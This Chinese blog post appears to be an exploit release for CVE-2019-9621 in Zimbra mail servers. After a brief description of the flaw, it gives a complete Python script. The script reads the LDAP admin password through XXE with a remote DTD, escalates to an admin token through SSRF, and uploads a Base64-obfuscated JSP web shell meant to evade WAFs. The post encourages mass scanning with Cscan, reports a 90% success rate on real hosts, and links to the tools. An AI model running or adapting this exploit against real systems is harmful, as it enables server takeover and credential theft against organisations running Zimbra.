zoukankan      html  css  js  c++  java
  • [EXP]CVE-2019-9621 Zimbra<8.8.11 GetShell Exploit(配合Cscan可批量)

    发现时间

    20190318

    威胁目标

    采用Zimbra邮件系统的企业

    主要风险

    远程代码执行

    攻击入口

    localconfig.xml  配置文件

    使用漏洞

    CVE-2019-9621

    受影响应用

    ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。

    已知影响

    导致服务器信息泄露

    威胁程度

    漏洞描述:

     Zimbra 存在像任意文件读取、XXExml外部实体注入)这种漏洞时,攻击者可以利用此漏洞读取 localconfig.xml配置文件,获取到 zimbra admin ldap password,并通过 7071 admin 端口进行 SOAP AuthRequest 认证,得到 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后,通过文件上传在服务端执行任意代码,威胁程度极高。当Zimbra服务端打来Memcached缓存服务是,可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用,所以其攻击场景受到限制。

    影响版本:

    ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说:
    
    1. Zimbra < 8.7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
    
    2. Zimbra < 8.8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
    

     GetShell代码

    #coding=utf8
    import requests
    import sys
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    base_url=sys.argv[1]
    base_url=base_url.rstrip("/")
    #upload file name and content
    #modify by k8gege
    #Connect "shell.jsp" using K8fly CmdShell
    #Because the CMD parameter is encrypted using Base64(bypass WAF)
    filename = "shell.jsp"
    fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
    print(base_url)
    #dtd file url
    dtd_url="https://k8gege.github.io/zimbra.dtd"
    """
    <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
    """
    xxe_data = r"""<!DOCTYPE Autodiscover [
            <!ENTITY % dtd SYSTEM "{dtd}">
            %dtd;
            %all;
            ]>
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
            <EMailAddress>aaaaa</EMailAddress>
            <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
        </Request>
    </Autodiscover>""".format(dtd=dtd_url)
    
    #XXE stage
    headers = {
        "Content-Type":"application/xml"
    }
    print("[*] Get User Name/Password By XXE ")
    r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
    #print r.text
    if 'response schema not available' not in r.text:
        print("have no xxe")
        exit()
    
    #low_token Stage
    import re
    pattern_name = re.compile(r"<key name=("|")zimbra_user("|")>
    .*?<value>(.*?)</value>")
    pattern_password = re.compile(r"<key name=("|")zimbra_ldap_password("|")>
    .*?<value>(.*?)</value>")
    username = pattern_name.findall(r.text)[0][2]
    password = pattern_password.findall(r.text)[0][2]
    print(username)
    print(password)
    
    auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="{xmlns}">
            <account by="adminName">{username}</account>
            <password>{password}</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>
    """
    print("[*] Get Low Privilege Auth Token")
    r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
    
    pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
    
    low_priv_token = pattern_auth_token.findall(r.text)[0]
    
    #print(low_priv_token)
    
    # SSRF+Get Admin_Token Stage
    
    headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
    headers["Host"]="foo:7071"
    print("[*] Get Admin  Auth Token By SSRF")
    r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
    
    admin_token =pattern_auth_token.findall(r.text)[0]
    #print("ADMIN_TOKEN:"+admin_token)
    
    f = {
        'filename1':(None,"whocare",None),
        'clientFile':(filename,fileContent,"text/plain"),
        'requestId':(None,"12",None),
    }
    
    headers ={
        "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
    }
    print("[*] Uploading file")
    r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
    #print(r.text)
    print("Shell: "+base_url+"/downloads/"+filename)
    #print("Connect "shell.jsp" using K8fly CmdShell
    Because the CMD parameter is encrypted using Base64(bypass WAF)")
    print("[*] Request Result:")
    s = requests.session()
    r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
    #print(r.text)
    print("May need cookie:")
    print(headers['Cookie'])
    

    配合Cscan使用(批量使用url.txt)

    Cscan.ini配置如下

    Cscan扫禁ping机器需加nocheck参数

    钟馗之眼随便抓一些Zimbra来测试,发现成功率高达90%

    下载

    EXP: https://github.com/k8gege/K8tools/blob/master/Zimbra_Rce.py

    Cscan: https://www.cnblogs.com/k8gege/p/10519321.html

    MSF:   https://github.com/k8gege/ZimbraExploit

  • 相关阅读:
    Programmatically parsing Transact SQL (TSQL) with the ScriptDom parser
    How to check for a valid Base64 encoded string
    三角函数和反三角函数
    Preventing User Enumeration on Registration Page
    创建HyperV虚拟机安装Win10教程详解
    爆强,看看PS高手怎么变出一个美女来
    用baidu搜索“sb”会出来什么结果?baidu也太狠了吧
    一组Opeth(月亮之城)的现场视频
    为了节约成本,要在西游记团队中栽一个你会裁掉哪位?
    Ruby on rails开发从头来(windows)(四)第一个添删查改例子
  • 原文地址:https://www.cnblogs.com/k8gege/p/10822908.html
Copyright © 2011-2022 走看看